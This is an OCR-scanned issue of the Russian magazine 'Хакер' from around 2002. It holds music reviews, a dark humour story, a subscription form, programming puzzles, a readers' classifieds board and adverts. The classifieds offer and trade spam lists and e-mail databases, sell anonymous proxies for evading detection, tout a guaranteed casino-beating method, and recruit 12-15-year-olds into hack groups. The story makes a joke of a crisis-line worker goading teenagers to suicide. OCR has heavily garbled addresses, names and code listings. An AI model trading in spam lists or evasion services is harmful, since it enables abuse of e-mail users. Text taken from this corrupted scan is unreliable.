Если у тебя возникнет 
вопрос о том, что за знако- 
мая мелодия звучит в треке «Пе- 
резагрузка», знай, что это никакой не 
музыкальный плагиат, а мелодия Яниса 
Лусенса (группа «ЗОДИАК» с альбома «ЗО- 
ДИАК» 1980 года). И не забудь посмотреть ви 
деоклип, лежащий на этой пластинке. 





Музыка для ѵѵагегника 

Команда: Ноизе-компиляция от боезкі & 
Опіопг 

Пластинка: МІІ-Ѵогк ЫіІеЛіІе . і 

Релиз: ЫВК, 2002 

Реальный хит: ухх... ШШ щ 

Это уже девятый по счету популяр- / 
нейший хаус-микс из серии / 

Шеііііе, которые плодит один за / 
одним бристольский Іюизе- / 
лейбл ІМВК. Да будет тебе из- / # 
вестно, что и предыдущие / ШИ* 

альбомчики пользовались у / 
буржуинских покупателей / 
особенным спросом. Че- / 
го это мы будем отста- -С 1 ѵТ / - 
вать? Все дружно вы- ч. 
ключаем попсу, забиваем на ч*. 
тяжеляк, давим на пимпу, выру- ч^ 
бающую классику, и молча Переса- 
живаемся на хаус. Правильно? Правиль- ч. 
но - Іюизе в массы! 



Х-Стиль ИКодинг 
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ХУМОР 

; : : Даниил Шеповалов (сіап@геаІ.хакер.т, ѵѵѵѵѵѵ.сіапуа.т) 



богами, и те пожаловались 
на твое племя. Сказали, 
что уже очень давно не бы- 
ло жертвенной лани на вер- 
шине Зеленой Горы. О Вели- 
кий Вождь, разве твои люди 
не боятся засухи? Боги 
сказали, что скоро нашлют 
ее, раз люди до того де- 
градировали, что уже забы- 
ли о необходимости жертвы. 

- А больше боги ничего не 
сказали? - спросил Вождь, 
насупившись . 

- Сказали ! О Великий 
Вождь, боги много говорили 
мне о тебе, ибо слава твоя 



Психиатр, су- 
хонький стари- 
чок с заметной 
лысиной, снял 
очки, тщатель- 
но протер их 
запотевшие 
стекла и обра- 
тился к Дане : 

- Так, значит, 
вы не понимае- 
те всю абсурд- 
ность ваших 
высказываний? 

- Чего? 

- Ну вот вигвамы все эти, 
шаманы - на самом деле это 
всего лишь плод вашего во- 
ображения. Понимаете, го- 
лубчик? Вас ударили куском 
арматуры по голове, что 
вызвало серьезное сотрясе- 
ние мозга и, как следст- 
вие, неотличимые от дейст- 
вительности визуальные и 
слуховые галлюцинации . Вы 
помните, кто вы такой на 
самом деле? 

Даня ненадолго задумался: 



ной грязи крупного мегапо- 
лиса, а с неба на них бес- 
престанно капал мерзкий 
кислотный дождик. Но Даню 
не угнетала эта тоскливая 
картина - он нашел себе 
очень веселую работу в 
службе психологической 
поддержки подростков . Каж- 
дый день ему на мобильный 
звонило несколько десятков 
тинейджеров, которым надо- 
ела их постылая жизнь . Вот 
и сейчас Даня шел по улице 
и, улыбаясь, слушал по те- 
лефону очередную душещипа- 
тельную историю. Какой-то 
пэпс втирал, что через не- 
сколько секунд отправится 
в непилотируемый полет с 
крьшіи пятидесятиэтажного 
здания. Даня попытался его 
утешить : 

- Гриша, хороший мой, не 
надо прыгать ! Все же про- 
сто замечательно! Смотри: 
вот сейчас осень, слякоть. 
Потом зима наступит ! Рабо- 
ты у тебя нет, девушка 
ушла, с экзаменами ты 
пролетаешь . . . 



На МЫ ТАК НИКОГДА И НЕ УЗНАЕМ, ЧТО ЖЕ ХОТЕЛ ДОБАВИТЬ ДАНИ, ПОТОМУ ЧТО В 
ЭТОТ САМЫЙ МОМЕНТ ГРИША РЫБКИН, УЧАЩИЙСЯ 9-ГО КЛДССД 242-ОЙ СРЕДНЕЙ 
ШКОЛЫ, ВЫСКОЧИЛ ИЗ ПОДЪЕЗДА И УДАРИЛ ЕГО ПО ГОЛОВЕ КУСКОМ АРМАТУРЫ. 




Даня быстро летел через 
изогнутый тоннель красного 
цвета к яркому, зовущему 
источнику света. Все его 
существо наполнялось бес- 
конечным ликованием. Одна- 
ко через мгновение бук- 
вально из ниоткуда взялись 
две огромные руки, которые 
схватили Даню за голову и 
грубо вытащили из теплого 
тоннеля в громадное и жут- 
ко холодное пространство. 
Еще через секунду кто-то 
невероятно больно ударил 
его по заднице. В Данин 
мозг закралось чудовищное 
подозрение, и он тут же 
закричал изо всех сил: 
"Верните меня назад, уро- 
ды! Вы ничего не понимае- 
те : все это уже было ! Коз- 
лы! Ненавижу! Что б вы все 
сдохли, твари похотли- 
вые ! " . Однако из его рта 
вьфвался лишь пронзитель- 
ный младенческий крик. . . 

- Мальчик у вас родился ! 
Поздравляю! - донесся от- 
куда-то сверху радостный 
женский голос. - А кричит- 
то как звонко, прямо над- 
рывается. . . 




гремит во всех семи мирах. 
"Почему, - спросили меня 
они, - почему люди этого 
невежественного племени не 
хотят почтить своего вели- 
кого вождя? Почему они до 
сих пор не подарили ему 
сорок бобровых шкурок в 
знак уважения?". Вот что 
сказали мне боги ! 

Покрытое шрамами лицо Пят- 
нистого Бизона расплылось 
в широкой улыбке : 

- Ты бесконечно прав, о Му- 
дрый Шаман, нельзя сердить 
богов! Вы слышали, воины?! 
Чтобы сегодня же женщины 
отнесли на вершину Зеленой 
Горы две, нет - лучше три 
лани! Я сказал! Хау! 



- Ну конечно помню! Я - 
Жора Махачушвилли . И мне 
нужно срочно позвонить ! 

Он без разрешения снял 
трубку стоящего перед док- 
тором телефона и, не наби- 
рая номера, произнес: 
"Махмуд! Да, дорогой! Ну 
конечно же меняем. . . Как 
всегда: двадцать цистерн 
нефти на сгущенку. . . " . 



Катр 



Когда Даню выпустили из 
психиатрической лечебницы, 
осень была уже в самом 
разгаре . Хмурые прохожие 
брели по колено в токсич- 



В ответ из трубки донесся 
лишь сдавленный крик. За- 
тем связь прекратилась . 
Даня широко улыбнулся и 
старательно наклеил на 
свой телефон маленькую бу- 
мажную звездочку. Уже чет- 
вертую за сегодня. 

"Удачный день ! " - довольно 
подумал он. 

Через секунду Дане проло- 
мил голову упавший сверху 
мобильник. А еще через 
мгновение на уже мертвого 
психолога обрушилось тело 
Гриши Рыбкина, учащегося 
9-го класса 242-ой средней 
школы . 
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ОТКРЫТА РЕДАКЦИОННАЯ 




ПОДПИСКА! 



ТЕПЕРЬ ВЫ МОЖЕТЕ ОФОРМИТЬ РЕДАКЦИОННУЮ ПОДПИСКУ НА ЛЮБОЙ РОССИЙСКИЙ АДРЕС 



ДЛЯ ЭТОГО НЕОБХОДИМО: 



1. Заполнить подписной купон (или его 
ксерокопию) 

2. Заполнить квитанцию (или 
ксерокопию). Стоимость подписки 
заполняется из расчета 

Хакер - 80 рублей 

и Хакер+СО - 110 рублей за 1 журнал. 
В стоимость подписки включена 
доставка заказной бандеролью. 

3. Перечислить стоимость подписки 
через Сбербанк. 

4. Обязательно прислать в редакцию 
копию оплаченной квитанции с четко 
заполненным купоном 

или по электронной почте 
5иЬзсгіЬе_ха@датеІапсІ.ги 

или по факсу 924-9694 (с пометкой 
"редакционная подписка"), 
или по адресу: 

103031, Москва, Дмитровский 
переулок, д 4, строение 2, ООО "Гейм 
Лэнд" (с пометкой "Редакционная 
подписка"). 

Рекомендуем использовать 
электронную почту или факс. 



БОНУС 



При оформлении годовой подписки 
на 2003 год - 2 свежих номера 
в подарок!!! 

При оформлении подписки на 1-е 
полугодие 2003 года - один 
журнала в подарок!!! 



ВНИМАНИЕ! 



Подписка производится с 
номера, выходящего через 
один календарный месяц 
после оплаты. Например, 
если вы производите оплату в 
Сентябре, то подписку можете 
оформить с ноября. 

Подписка оформляется на 
любой срок. 

СПРАВКИ 

по электронной почте 
§иЬ§сгіЬе_ха@датеІапсІ.ги 
или по тел. (095)292-3908, 
292-5463 
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ПОДПИСНОМ КУПОН (редакционная подписка) 

Прошу оформить подписку на журнал "Хакер" 

2003г. □□□□□□□□□□□□ 

(месяцы) 



(отметьте квадраты, соответствующие календарным месяцам выхода журнала, 
которые вы хотели бы получить) 



Ф.И.О. 





Г ород/село 


ул. 






Дом корп. 


кв.. 


код 


тел. 


Сумма оплаты 


Подпись 


Дата 




е-таіі: 


Копия платежного поручения прилагается. 



Извещение 



х 

ИНН 7729410015 ОООТеймЛэнд" 

ЗАО «Международный Московский Банк», г. Москва 

р/с №40702810700010298407 

к/с №30101810300000000545 

БИ К 044525545 
Плательщик 
Адрес (с индексом) 



Назначение платежа 
Оплата журнала "Хакер" 




Сумма 


за 


200_г. 





Кассир 



Подпись плательщика 



ИНН 7729410015 ОООТеймЛэнд" 

ЗАО «Международный Московский Банк», г. Москва 

р/с №40702810700010298407 

к/с №30101810300000000545 
БИ К 044525545 
Плательщик 
Адрес (с индексом) 



Квитанция 



Назначение платежа 
Оплата журнала "Хакер" 
за 



Сумма 



200 г. 



Кассир 



Подпись плательщика 











Юниты 



Х-РІІ22І.Е 



Иван Скляров (5кІуагоѵ@геаІ. хакер. ги) 



Не стесняйся присылать мне свои ответы, даже если ты 

СМОГ ОТВЕТИТЬ ВСЕГО НА ОДИН ПА2Л. ЭТО ДАСТ МНЕ 
ВОЗМОЖНОСТЬ СУДИТЬ ОБ УРОВНЕ МОИХ ГОЛОВОЛОМОК, А 
ТАКЖЕ О ТВОЕМ УРОВНЕ :). Ну а имена героев, которые 
ПЕРВЫМИ ПРАВИЛЬНО ОТВЕТЯТ НА ВСЕ ВОПРОСЫ, КОНЕЧНО 
ЖЕ, БУДУТ ОПУБЛИКОВАНЫ В ЖУРНАЛЕ, ЧЕМ ПРОСЛАВЯТСЯ НА 

вен России (и не только) и навечно войдут в истории К. 



ОШіШ 



Синтезу пришло письмо от 
Дани Шеповалова. Неизве- 
стно, по каким закоулкам 
Интернета носило это пись- 
мо, но оно пришло в совер- 
шенно нечитабельном виде 
(см. рисунок). 

Применив несколько раз- 
личных перекодировщиков, 
Синтез хотел уж было сов- 
сем отчаяться, но туг его 
осенила гениальная мысль. 
Он вспомнил, что Даня в 
конце своих писем всегда 
вставляет свое имя - "Да- 
ня". Проведя небольшой 
анализ письма, Синтез 
смог легко прочитать его. 
Повтори подвиг Синтеза и 
узнай, какой же секрет по- 
ведал Даня главному ре- 
дактору ;). 



ГЁМ ПНЕ.П 



Одному ламаку из 1 3 шко- 
лы добрая учительница по 
информатике задала до- 
машнее задание - написать 
на Бейсике программу вы- 
числения первых тринадца- 
ти чисел последовательнос- 
ти Фибоначчи. Для тех, кто 
не учился в 1 3 школе, на- 
помню: последовательность 
чисел Фибоначчи начинает- 
ся с 0 и 1 и каждый после- 
дующий член последова- 
тельности представляет со- 
бой сумму двух предыду- 
щих членов. На своем до- 
машнем компьютере ^ 
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Зашифрованное письмо от Дани 



(Репйит4 2СНг) ламак ус- 
пешно выполнил домашнее 
задание: составил програм- 
му, которая выдавала вер- 
ные результаты, а именно 
О, 1, 1,2, 3, 5,8, 13, 21, 

34, 55, 89, 144, 233. Но, 
когда он принес программу 
в школу, произошел боль- 
шой облом. На школьных 
компьютерах ЕС1036 про- 
грамма не успевала выпол- 
ниться даже наполовину за 
весь урок. В итоге добрая 
учительница стала не такой 
доброй, как прежде, и ска- 
зала, что если он не сдела- 
ет свою программу быст- 
рее, то она поставит ему 
верную "пару" и вообще 
порвет его как грелку, т.к. 
после него ЕС стала глю- 
чить больше прежнего. Ко- 
роче, помоги бедняге опти- 
мизировать программу, 
только сделать это нужно 
по-хакерски: ничего не уда- 
ляя и не добавляя в код, а 
также не изменяя никаких 
операндов и операторов, 
т.е. используя только то, 
что есть в программе. Вот 
листинг его проги: 

'13 чисел Фибоначчи 
РІМА(ІЗ) 

Х=0:Ѵ=0 
А(0)=0:А(1)=1 
РОКЕ А(І),І 
РРІЫТ А(0);А(1); 

РОВ 1=2 ТО 13 

Х=А( I - 1 ) : А( I ) =А( 1 ) +А(0) 

Ѵ=А(І-2) 

ХѴ=А(І)+І*$ОР(Х+Ѵ)/Х*Ѵ 

А(І)=Х+Ѵ 

РРІЫТ А(І); 

МЕХТ I 






ппэл 



Однажды я наткнулся на 
один прикольный матери- 
ал 80-х годов, в котором 
всемирно известный кодер 
Эдсгер Дейкстра высказы- 
вался по поводу языков 
программирования. Боль- 
шинство языков того вре- 
мени он приравнивал к ту- 
пым топорам: "Невозмож- 
но заточить карандаш ту- 
пым топором. Столь же 
тщетно пытаться это сде- 
лать десятком тупых топо- 
ров". По каждому отдель- 
ному языку он говорил: ► 



"ФОРТРАН - "младен- 
ческое расстройство" с 

двадцатилетним стажем - 
безнадежно неадекватен 
какому бы то ни было при- 
менению ЭВМ сегодня: он 
слишком неуклюж, слиш- 
ком опасен и слишком до- 
рог, чтобы его применять. 

ПЛ/1 - "роковая бо- 
лезнь" - принадлежит ско- 
рее к области проблем, 
чем к области решений. 

БЕЙСИК. Практически не- 
возможно научить хорошо 
программировать студен- 
тов, ориентированных пер- 
воначально на БЕЙСИК: как 
потенциальные программи- 
сты они умственно оболва- 
нены без надежды на исце- 
ление. 

КОБОЛ. Использование 
КОБОЛА калечит ум. Его 
преподавание, следова- 
тельно, должно рассматри- 
ваться как уголовное пре- 
ступление. 

АПЛ - ошибка, доведен- 
ная до совершенства. Это 
язык будущего для про- 
граммистской техники 
прошлого". 

Сейчас практически все 
эти языки ушли в историю, 
но появилось множество 
новых "тупых топоров". По- 
этому, продолжая в духе 
Дейкстры, я хочу выска- 
заться о современных язы- 
ках программирования. 
Твоя задача догадаться, ка- 
кой язык я имею в виду в 
каждом конкретном случае. 
Хочу заметить, что все ► 




сказанное здесь следует 
рассматривать лишь как 
шутку с моей стороны, и не 
более того ;). 

О. Программисты, кото- 
рые кодят на этом языке, 
считают себя элитой, на- 
ивно полагая, что их язык 
только для избранных. На 
самом же деле это просто 
умственно отсталые люди, 
живущие в иллюзорном 
мире 70-х годов прошлого 
столетия. Им тяжело по- 
нять, что мир не стоит на 
месте, и с того времени 
очень многое изменилось 
в технологии программи- 
рования. Эти программис- 
ты настолько тупы, что да- 
же не способны понять 
смысл таких слов, как 
"класс", "инкапсуляция", 
"наследование" и "поли- 
морфизм", а предназначе- 
ние визуальной оболочки 
для них так и останется 
навсегда загадкой. 

в. Этот язык явно создан 
психом, свихнувшимся от 
многолетней настройки ни- 
ксов. Код на этом языке - 
это просто бред сумасшед- 
шего, представляющий со- 
бой набор нечитабельных 
символов. Тысячи таких же 
психов по всему миру по- 
клоняются этому языку, хо- 
тя мало кто из них спосо- 
бен разобраться в своем 
же, только что написанном 
коде. Все это породило це- 
лую армию так называемых 
дефейсеров, которые сами, 
имея лишь посредственные 
знания языка, кричат на 
каждом углу, что это язык 
для хакеров. ^ 
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О. На примере данного 
языка М$ показала, как 
отличный язык програм- 
мирования можно легко 
превратить в визуального 
урода. 

®. Данный язык - ошибка 
природы, вероятнее всего 
появившаяся из-за поваль- 
ного пьянства программис- 
тов фирмы Борланд. Дейст- 
вительно, только на "зали- 
тые шары", вместо того 
чтобы выпустить свежую 
версию ВогІапсІ С++, мож- 
но было создать некий гиб- 
рид С++ с Паскакалем. Но, 
к радости борландских про- 
граммистов, пьянка уда- 
лась, т. к. миллионы таких 
же любителей "заквасить", 
вспомнив школьный курс 
Паскаля, с удовольствием 
начали кодить на этом язы- 
ке. Эта огромная шайка не- 
допрограммистов, которые 
не хотят напрягать свои по- 
хмельные мозги, настолько 
полюбила этот язык, что 
может порвать любого, кто 
скажет о нем плохо. 

©. Этот язык - любимец 
МісгозоИ Он встроен в 
ѴѴіпсІоѵѵз, опутывает прак- 
тически все программы М8 
ОШсе, активно использует- 
ся в сети. Не удивлюсь, 
если в будущем на нем бу- 
дет написана и сама 
ѴѴіпсІоѵѵз :). Злобные де- 
тишки, узнав всего лишь 
несколько операторов это- 
го языка, пишут вири, ко- 
торые периодически сно- 
сят половину машин в Мне- 
те. Поэтому всех, кто кодит 
на этом языке, а тем более 
преподает его, нужно без- 
жалостно расстреливать на 
месте как бешеных собак. 

©. Об этом языке даже не 
хочется говорить. Тот, кто 
учит и использует его, про- 
сто хочет попонтоваться 
перед окружающими и по- 
казать, что он модный чел. 
На самом же деле этот 
язык просто тупиковая 
ветвь в истории програм- 
мирования, которая не не- 
сет ничего принципиально 
нового и вносит лишь оче- 
редные проблемы в ѴѴеЬ. 

®. В свое время этот язык 
поднял много вони в Мнете 
и вообще в компьютерном 
мире, которая, кстати, до 
сих пор еще полностью не 
сошла. Сколько криков-то 
было: "Революция в про- 
граммировании!", "Полная 
переносимость про- ^ 



грамм!", "Теперь не нужны 
другие языки!". А что в ито- 
ге? Благодаря умелой мар- 
кетинговой политике мел- 
комягких на этом языке 
программируют лишь еди- 
ницы. Только одни детишки 
развлекаются скриптовым 
видом этого языка, встав- 
ляя его в свои паги, из-за 
чего большинство браузе- 
ров ловит глюки. Об этом 
языке напоминают лишь 
периодические скандалы и 
судебные тяжбы с М$, ко- 
торые уже порядком всем 
надоели. Имхо, самое луч- 
шее, что осталось этому 
языку - это просто тихо и 
мирно уйти со сцены. 

©. Это не язык - это удав, 
объевшийся кроликов, ко- 
торый, несмотря на всю 
свою простоту и мощь, ни- 




когда не получит призна- 
ния и любви у программи- 
стов. Постоянно ползая 
где-то под ногами, этот 
червь вызывает лишь от- 
вращение и омерзение у 
нормальных людей. 

о. Изучение и использо- 
вание этого языка можно 
сравнить лишь с бездарно 
потраченным временем в 
ІВС, поэтому только там он 
и нашел свое применение. 
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Иппап 

И напоследок. Ска- 
жи, что общего меж- 
ду следующими тре- 
мя строками: 

О. соп\соп 
О. РА ЕВ РЕ 
©. тпсІІІ32 изег, сііз— 
аЫеоетІауег 
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В ПРОДАЖЕ С 5 НОЯБРЯ 




Один из главных козырей МідЫРіге - это 
разнообразие локаций и высочайший уро- 
вень их детализации. Например, замок в 
Австрии проработан буквально до мелочей 
- картины на стенах, реалистично раскачи- 
вающиеся портьеры, изысканные колонны, 
зеркальные полы, освещение - все это де- 
лает игру потрясающе атмосферной и 
усиливает эффект погружения. 

Демиурги 2 

Продолжение "Демиургов" является фактически игрой дру- 
гого жанра. Притом, что все основополагающие элементы 
остались неизменными, всевозможные мелкие и не очень 
нововведения и доработки окончательно сдвинули акценты 
со стратегии в сторону тактики с сильным ролевым уклоном. 
Завоевание Америки 

Вас ожидает 400 лет истории Америки, пролетающие перед 
глазами. Вы сможете приложить руку к таким эпохальным 
баталиям, как кампания Христофора Колумба, кампания 
Писарро, война Текумсе, Семилетняя война, и победно 
завершить этот марш-бросок борьбой за независимость 
США в 1813 году. 

ІІІііта Опііпе 

Жанр массовых онлайновых ПРО родился ровно пять лет 
назад, и его олицетворением стали всего две буквы - 110. 
Детище Лорда Бритиша отмечает свой пятый день рожденья. 

ТесЬ 

Звук: экстрим или профессионализм? 

Меняем Оигоп на АіЫоп ХР 
Покупаем звуковую плату 

А так же: 

ргеѵіеѵѵ, геѵіеѵѵ, І_оасІіпд, советы по прохождению игр, топ 20, 
Игровой трубопровод, 10 ПРО всех времен и народов и т.д. 
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ѴѴАВЫІІЧС!!! 



Борда 

Мессадж можно закинуть на 

ЬоагсІ@геаІ.хакер.ги 




Предлагаю спам лист на 500000 адресов. 

таіІ@игепдоі.ги 



Буду обмениваться спам -листами, разного вида 
и количества. 

с!езтеп@таіІ.ги 



Отдам в хорошие руки, методику по 100 % 
обыгрыванию интернет казино. Для этого даже 
не нужно быть хакером, нужно просто уметь 
складывать числа 2+2. Гарантирую, что с этой 
методикой ты никогда не проиграешь, а всегда 
будешь выигрывать. 
орегко19000@гатЫег . ш 




Объявления рекламного характера 
не публикуются! 

1 . мы не будем рекламировать твою страничку, сервер и прочее 

2. все письма с матом и прочей шнягой удаляются сразу 

3. мы постараемся размещать сообщения в ближайших номерах, 
но ничего не обещаем :) 



ок 



ЕхП 





Сделаю банер, логотип, Ьийопз и еіс. любой 
сложности на заказ... Возможен обмен на инфу 
или инет (для Питера). Печатайте свои 
мессаджи на абтіп_зеіѵ@ІгеетаіІ.ги 



Всероссийский обмен е-таіі базами 
продолжается. Высылайте свои листы, а я 
вышлю вам свои, и даже немного побольше + 
есть мысь о создании проекта по данной 
тематике. Все мысли, догадки и предложения 
сюда: рікасИи@Ііз 1 .ги. 

Пишите, без ответа не останется никто. 



Эй! Старички! Куплю Х-Спецы номера 
1 (лучшие статьи 99), 2(\ЛЛЛЛЛ/-1) и 
З(Западлостроение-І). только для москвичей. 
Торрег хрусітап@різет.пеі 



Моделирую в Зд графике. Смоделирую все, 
что захотите по вашим чертежам, или 
фантазиям. 

Цена договорная, зависит от сложности. 
Мылить на сісІ@иаЛт 



Куплю диски от журналов "ХАКЕР"(06.02(42), 
07.02(43), 08.02(44)) можно переписанные на 
сб-г. 

Все предложения сюда з1гапік@хакер.ги 



іііііііііііііі іи Л 




вступлю в кодинг-тим, желательно с юзаньем 
делфей. 

мыло: ѵагпіе@сІіпк.ги 



привет всем! идёт набор в хак-группу для 
новичков.средний возраст призывников 12-15 
лет. мыльте 

на 23з@гтаіІ.ги 666 хакер@ш.ш 
ІоІо_ 2000 @ Ігопі. ш 



Хотите остаться в тени, не быть пойманными? 
Тогда для вас анонимные прокси на любой, 
даже самый извращенный вкус! Помимо 
больших и известных стран типа России, США, 
Африка, Германия, Франция, Эталия, Япония, 
Корея, Китай, Австралия есть ОЧЕНЬ МНОГО 
других замечательных прокси! На любой вкус и 
цвет, хе-хе. Очень дешево! Перевод только по 
ВЕБМАНИ. АСЯ: 160870406, мыло: 

3 1 337ЬуІе@Ьеер . ш 



У іііііііііііііі іЛ 



Жители Петербурга! 

Вашему вниманию предлагаются старые и не 
очень номера журнала "ХАКЕР" за 1 999 год 
(кроме 1 и 4), 2000 и 2001 годы! 

Цены скромные - 25р. номер! Кому интересно - 
мыльте на бапіІа_ѵ@іпЬох.ги 



Привет Народ! 

Куплю базу для радио-мышки ЬодііесГі Согбіезз 
Моизе. Принимаются предложения из Москвы, 
Перми, Березников. 

Мылить на ѵаІех@ІепІа.ги 





г ііііііііііііі иЛ 

Идет набор в ХакГруппу и СЗ клан мылить на 

хакерЗІ 337@таіІ.ги 






Психи! Ау!!! Мегапроекту альтернативной 
религии и неординарного мышления позарез 
нужны авторы. Если Вы готовы подарить 
людям кусочек своего сознания, мыльте на 

доб@сга 2 у.ш 



РІазИ-беѵеІорег с большыым опытом, сделает 
мультик, презентацию и массаж. Работал в 
ино-фирмах. пікііа@з 1 ис 1 еп 1 и.ги 



Привет! Идёт в набор в хак-группу для 
новичков. Средний возраст призывников 5-18 
лет. Все кто хочет вступить пишите 

на 23з@2таіІ.ги 



Продам спам лист на 10000 мыл за ѴѴеЬМопеу 
,или обменяю на что-нибуть полезное . 
Мылить на охоІпік83@таіІ.ги 




^ іііііііііііііі іЛ 

Пишу сценарии к Играм любой тематики. 
Мылить на дбт736@{гоп1.ги 



Требуются художники-любители(желательно 
30) для создания игры (20). Скорее всего без 
комерческого будущего :) 

Николай Шкута [ігепі@таіІ.ги] 






Приглашаются НАЧИНАЮЩИЕ програмисты на 
ОеІрГіі для совместного обучения и создания 
проектов. Пишите на сооІ 20 пе@таіІ.ги 



Если есть у кого старые альбомы Раде Адаіпзі 
Тбе МасЫпе, мыльте сюда Мег@гатЫег.ш 
Хочу списать или недорого (по цене рынка) 
купить, в Москве. 



Кто может поделиться исходниками прог на 
ѴізиаІ С++.МЕТ и С#.МЕТ. Пишите, розітаз- 
Іег@і 2 ѵегд.тагка.пе 1 .иа 



Предлагаю обмен: 

СО к журналу СНІР (1998-2002) на СО (или 
копию) к Хакеру за 2002 год. 

Подробности мылом. з(іѵаІ@таіІ.ги 



Группа программеров напишет на заказ 
программу на 

ДЕЛ ЬФИНЕ,СИШНИКЕ,БЭЙСИКЕ, АССЕМБЛЕРЕ 
.Сделает сайт всего за 200р. 

Пишите на 666 з@ 2 таіІ.ги 
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Приглашаем к сотрудничеству 





с І октября 
по | декабря 



Покупателям 



мониторов 



5упсМа$іег 





МісгозоП 



ѴѴіпсІоѵѵз 



легендарная надежность 



С 1 октября по 1 декабря компания Самсунг проводит уникальную акцию 
«Новые возможности для покупателей мониторов БупсМазІег» 

Участником акции может стать каждый розничный покупатель который приобретет в этот период 
монитор Самсунг Синкмастер одной из следующих моделей: 

- модели с электронно-лучевой трубкой с диагональю экрана от 17 дюймов и выше 
- модели с жидкокристаллическим экраном всех размеров диагонали 

При покупке монитора вы получаете специальный купон который дает Вам право получить 
следующие скидки при приобретении одного из продуктов на выбор: 

- скидка эквивалентная 20 долларам США на источник бесперебойного питания Васк-11Р5 475 
производства компании АРС (только одна модель) или 
- 5% на русские ОЕМ версии операционных систем МісгозоЙ для настольных компьютеров 
(одну операционную систему на выбор: ѴѴіпсІоѵѵз 98 Рііззіап, ѴѴіпсІохмз ХР Ноте Кііззіап, 
ѴѴіпсІоѵ/$ МіІІеппіііт Рііззіап, ѴѴіпсІоѵѵз 2000 РгоІ-еззіопаІ Кыззюп, ѴѴіпсІоѵ/з ХР 
РгоІвззіопаІ Кііззіап) + специальный подарок - мышь. 

Списки торговых организаций принимающих купоны и предоставляющих скидки на источник бесперебойного 
питания АРС Васк-ІІР5 475 и программное обеспечение МісгозоП приведены в купоне. 



Скидки предоставляются только в срок до 7 декабря 2002 года включительно. 

Более подробно правила проведения данной акции приведены на Интернет страницах 

ѵплплдеатБііпдеІесІгопісБ.ги, ѵѵѵѵллміісідгоіір.гіі, ѵушѵу. аре.ш, ѵуѵуѵу.арссІцЬ.ш 



